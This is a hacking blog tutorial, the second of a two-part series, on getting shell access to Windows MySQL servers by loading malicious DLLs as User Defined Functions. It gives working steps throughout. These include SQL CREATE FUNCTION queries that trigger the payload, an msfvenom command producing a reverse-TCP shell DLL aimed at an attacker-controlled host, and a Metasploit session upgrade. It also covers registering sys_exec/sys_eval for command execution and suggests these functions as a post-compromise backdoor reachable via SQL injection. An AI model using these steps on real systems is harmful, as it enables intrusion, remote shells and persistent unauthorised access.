This is part 2 of a 2 part series on exploiting Windows MySQL instances to gain high privileged shell access. This part will focus on exploiting MySQL User Defined Functions (UDF) through feeding them malicious DLL files at function creation and linkage time. The methods will follow very similar course to our first .MOF exploitation technique. We will will need to upload a binary payload, this time instead of an EXE file it will be a DLL file but should not really affect our uploading method we created previously. Our magic location will be changing however....
MySQL has a feature to allow administrative users to add additional functions and procedures to help extend its abilities. These User Defined Functions are mapped to a .SO file on Unix systems and .DLL files on Windows systems at function creation time. It is this linked trust that we will be exploiting to gain code execution. MySQL looks for these functions instructions in the MySQL plugins directory. This directory value can be queried by checking the @@plugins_dir value. If this is not available for whatever reason you can use a query "SHOW VARIABLES LIKE 'basedir';" and then fill in the '/lib/plugins/' path to the end of the value received. Make sure you escape paths when re-using this value if your coding this or you will run into issues ;)
We upload a binary (payload.dll) to the plugins directory (c:\SOMEPATH\bin\mysql\mysql5.5.24\lib\plugin\)....using our code from part I this can be easily accomplished...
We then create a function which triggers our DLL payload:
SQL QUERY: CREATE FUNCTION fake_function_name RETURNS string SONAME 'payload.dll';
MySQL will look in the plugin directory for 'payload.dll' to load into memory and then look for the needed information to build the functions and then make available to users. If you have a legitimate UDF DLL/SO file being loaded then it will create the function and you can then make use of those functions in MySQL immediately after. If the DLL/SO file doesn't not have proper headers and can't be loaded to not finding the function name and associated code, it will fail to create the function. This is no real concern to us hackers/auditors/pentesters/whomeveryouare as at this point it is already over. The code execution occurs as soon as it is loaded to check! The UDF file we write will remain on target, but no function to cleanup after. You can generate DLL payload files with MSF fairly easy to make this nice and easy to pass things off to MSF. I have found it best in my experience to roll in first with a standard command shell and then use MSF session upgrade option to upgrade from normal shell to a meterpreter session. It will actually run the needed commands through the existing channel and then using a command stager will generate a new connection for the meterpreter so you will end up with two sessions when it is complete.
MSFVENOM PAYLOAD GENERATION: msfvenom -p windows/shell/reverse_tcp LHOST=ATTACKERIP LPORT=4444 -f dll > payload.dll
MSF SESSION UPGRADE (Post Exploit): sessions -u <sessionID#>
New Ruby Code Additions to our previous snippet (write_bin_file() was used to house our code from part I for uploading):
Now the author of SQLMAP helped to write and publish some custom user defined functions which allow one to interact with the underlying operating system. We can use these to upload and successfully create new functions which will allow us to execute code through SQL queries leveraging the UDF functions. The entire UDF package has 3-5 functions, but for us we care mostly about 2 - sys_exec() & sys_eval(). The first, sys_exec(), allows one to run a system command through it and returns 0 on success or 1 on failure or other. This can be leveraged to execute blind commands. If you need the command output then you will need to go with the sys_eval() function which allows you to run commands AND grab the output from results. The key when your setting up your new functions is making sure you define the results data type properly. If you have uploaded the lib_mysqludf_sys.dll then you can perform the following queries to load the custom functions:
SQL: CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
SQL: CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
NOTE: small difference in integer vs string result expectations!
I have focused on Windows as this yields greatest success. Unix systems are also vulnerable to the UDF attack (MOF is windows only) however most modern systems implement AppArmor or other techniques which prevent the MySQL user from writing to the needed plugins directory to pull it off. This means you need root privileges to get things to work. Not very common for MySQL to be running as root, but you never know. That being said, it is a nice way to backdoor a system post compromise as you can leverage the sys_exec() or sys_eval() functions to achieve command execution as a way back in. These functions can be accessed via direct connection or through SQL injection, anywhere you can execute SQL queries which can call the necessary functions so I am sure you can think of some sneaky way to use it.
VIDEO DEMO: YouTube
Download Full Exploiter Pack: DOWNLOAD
NOTE: contains UDF DLLs for sys exec functions as well as template for reverse shell in /payloads
UPDATE: You can now find this on my Github page here: https://github.com/Hood3dRob1n/SQLi
Pure Ruby Core Source Code: PASTEBIN
Hope you have enjoyed this two part series. These methods can be used outside of MySQL exploitation but this is an angle I was not previously familiar with and yields very high payouts when it works so thought I would share and highlight this more for others....
Until next time, Enjoy!